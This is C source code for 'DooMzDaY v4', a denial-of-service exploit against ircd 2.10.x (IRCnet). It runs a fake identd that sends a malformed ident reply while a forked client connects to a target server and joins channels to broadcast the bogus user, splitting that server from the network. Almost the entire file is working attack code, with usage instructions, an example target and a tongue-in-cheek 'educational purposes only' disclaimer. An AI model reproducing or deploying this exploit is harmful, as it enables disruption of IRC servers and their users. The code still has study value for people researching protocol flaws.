Exploit code for ircd 2.10.x/ircnet
737267b386266f264f477f91b39d75caebbf94c635ee5ed669a5a3f83da050ac
/* DooMzDaY v4 - ircd 2.10.x/ircnet - exploit
* for linux - written by psychoid from tcl
*
* general vulnerability found by Hippo
* a fix already is available, but there are
* also incomplete fixes out there.
*
* this splits a server from the network. Simple, isnt it ?
*
* if you really want to run this, there should not run
* an in.identd on your machine. Also, you need to be root.
*
* erm, this is for educational purposes only. Even, if noone gets
* hurt *g*.
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <setjmp.h>
#include <signal.h>
#include <string.h>
#include <sys/time.h>
jmp_buf jumpback;
void timed_out( int sig ) {
longjmp( jumpback, 0x0 );
}
void fuck_it(int sig) {
longjmp( jumpback, 0x0 );
}
int settimeout(unsigned short sockh, unsigned short timeout) {
fd_set rfds;
struct timeval tv;
FD_ZERO(&rfds);
FD_SET(sockh,&rfds);
tv.tv_sec=timeout;
tv.tv_usec=0;
select(sockh+1,&rfds,NULL,NULL,&tv);
if (!FD_ISSET(sockh,&rfds)) {
return 0;
} else {
return 1;
}
/* returns 0=timeout or error, 1=input there */
}
unsigned long lookup(char *hostname)
{
struct hostent *name;
unsigned long int address;
if ((address = inet_addr(hostname)) != -1)
return address;
if ((name=gethostbyname(hostname)) == NULL)
return -1;
memcpy(&address,name->h_addr,name->h_length);
return address;
}
int writesock(int sock,char *buf)
{
write(sock,buf,strlen(buf));
}
int readsock(int sock,char *buf,int size)
{
int rc;
fd_set rfds;
struct timeval tv;
int cnt;
memset(buf,0x0,size);
cnt=0;
if (settimeout(sock,1)==1) {
do {
rc=read(sock,buf+cnt,1);
if (rc==0) return rc;
if (rc==-1) return rc;
cnt++;
} while (buf[cnt-1] != '\n' && buf[cnt-1] != '\r' && cnt<size);
}
return 0;
}
int sockconnect( unsigned short timeout, unsigned long iP, unsigned short port ) {
int socky;
int wasread;
int currentsock;
struct sockaddr_in address;
struct hostent *athost;
char lasock[0x100];
unsigned long tip;
unsigned short prt;
FILE *sockslist;
FILE *lastsock;
if (( socky = socket( AF_INET, SOCK_STREAM, 0x0 )) == -1 ) {
return socky;
}
address.sin_family = AF_INET;
address.sin_port = htons( port );
address.sin_addr.s_addr = iP;
signal( SIGALRM, timed_out );
alarm(10);
if ( setjmp( jumpback ) == 0x0 ) {
if ( connect( socky, (struct sockaddr*)(&address), sizeof( address ))) {
socky = -1;
}
} else { socky = -1; }
fflush(stdout);
alarm (0);
return socky;
}
void brokenpipe()
{
printf("Broken Pipe\n");
return;
}
int tcpconnect( unsigned long iP,
unsigned short port,
unsigned short timeout ) {
int socky;
struct sockaddr_in address;
struct sigaction sv;
struct hostent *athost;
char thathost[0x100];
char buffer[512];
int tries, length;
socky = -1;
tries = 0;
sigemptyset(&sv.sa_mask);
sv.sa_handler=brokenpipe;
sigaction(SIGPIPE,&sv,NULL);
/* if ((athost = gethostbyname (thathost)) == NULL) {
return -1;
}*/
fflush(stdout);
if ((socky = sockconnect(timeout,iP,port)) == -1) {
fprintf(stdout,"Connection refused.\n");
socky = -1;
return socky;
}
if (socky == -1) printf("Connection refused.\n");
alarm( 0x0 );
return socky;
}
int ircdboost(char *host, int port, char *nick)
{
int sock;
char buf[2048];
char *pt;
printf("Step 2: Connecting to the IRC Server.\n");
sock=tcpconnect(lookup(host),port,10);
if (sock==-1) {
printf("Error: cant connect\n");
exit(0x0);
}
printf("Step 3: Connected.. sending user / join\n");
/* the star is very very important */
writesock(sock,"USER o a a :a\r\n");
snprintf(buf,sizeof(buf),"NICK %s\r\n",nick);
writesock(sock,buf);
snprintf(buf,sizeof(buf),"WHOIS kbnn%d\r\n",lookup(host));
writesock(sock,buf);
/* this joins are needed to broadcast the user to the connected servers */
writesock(sock,"JOIN #sex\r\n"); /* yeah, right */
writesock(sock,"JOIN #showdown\r\n"); /* yeah, right */
writesock(sock,"JOIN #funfactory\r\n"); /* yeah, right */
writesock(sock,"JOIN #usa\r\n"); /* yeah, right */
writesock(sock,"JOIN #flirt.de\r\n"); /* yeah, right */
writesock(sock,"JOIN 0\r\n"); /* yeah, right */
printf("Step 4: Please press control+break to release the split.\n");
while (readsock(sock,buf,sizeof(buf)) >=0)
{
pt=strstr(buf,"PING");
if (pt==buf)
{
writesock(sock,"PONG :PPP\r\n");
}
pt=strstr(buf,"ERROR");
if (pt==buf) break;
printf(buf);
}
close(sock);
}
int
main (int argc, char **argv)
{
int listensocket, insocket, outsocket;
short listenport, destport;
struct hostent *socks_he, *dest_he;
struct sockaddr_in listen_sa, socks_sa;
char buf[200];
int sopts = 1, maxfd;
char c[100];
char *po;
int length;
int cnt;
int rc;
int lport,fport;
fd_set rfds;
lport= 0; fport =0;
printf("\nDooMzDaY v4 - by psychoid\n");
printf("exploits a bug in the ircd ident request of ircd 2.10.x\n");
if (argc != 4)
{
printf ("Usage: %s ircserver port nick\n", argv[0]);
printf ("Example: %s chat.bt.net 6669 killah\n\n", argv[0]);
exit (1);
}
printf("Setting up..\n");
listenport = 113;
listensocket = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
setsockopt (listensocket, SOL_SOCKET, SO_REUSEADDR, &sopts, sizeof (int));
memset (&listen_sa, 0, sizeof (struct sockaddr_in));
listen_sa.sin_port = htons (listenport);
listen_sa.sin_addr.s_addr = htonl (INADDR_ANY);
socks_sa.sin_port = htons (destport);
if ((bind (listensocket, (struct sockaddr *) &listen_sa, sizeof (struct sockaddr_in))) == -1)
{
perror ("bind");
exit (1);
}
if ((listen (listensocket, 1)) == -1)
{
perror ("listen");
exit (1);
}
rc=fork();
if (rc ==0) {
printf("\nStep 1: Starting identd\n");
sleep(2); /* the demon should really run */
ircdboost(argv[1],atoi(argv[2]),argv[3]);
exit(0x0);
}
gee:
sleep(1);
printf(" Identd started.. listening.\n");
insocket = accept (listensocket, NULL, 0);
if (insocket == -1)
{
perror ("accept");
exit (1);
}
while (1)
{
memset(c,0x0,sizeof(c));
FD_ZERO (&rfds);
FD_SET (insocket, &rfds);
select (insocket+1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (insocket, &rfds))
{
length = recv (insocket, c, 100, 0);
if (length == -1 || length == 0)
break;
sscanf(c," %d , %d", &lport, &fport);
snprintf(buf,sizeof(buf),"%d , %d : USERID : UNIX : @o ! ! ! ! ! ! \r\n",lport,fport);
printf("\nIdent : %s\n",buf);
/* sending it a second time because of the lame 1st patch */
send(insocket,buf,strlen(buf),0);
snprintf(buf,sizeof(buf),": USERID : UNIX : @o ! ! ! ! ! ! \r\n");
printf("\nIdent : %s\n",buf);
send(insocket,buf,strlen(buf),0);
break;
}
}
sleep(1);
close (insocket);
close (listensocket);
wait(0);
exit(0x0);
}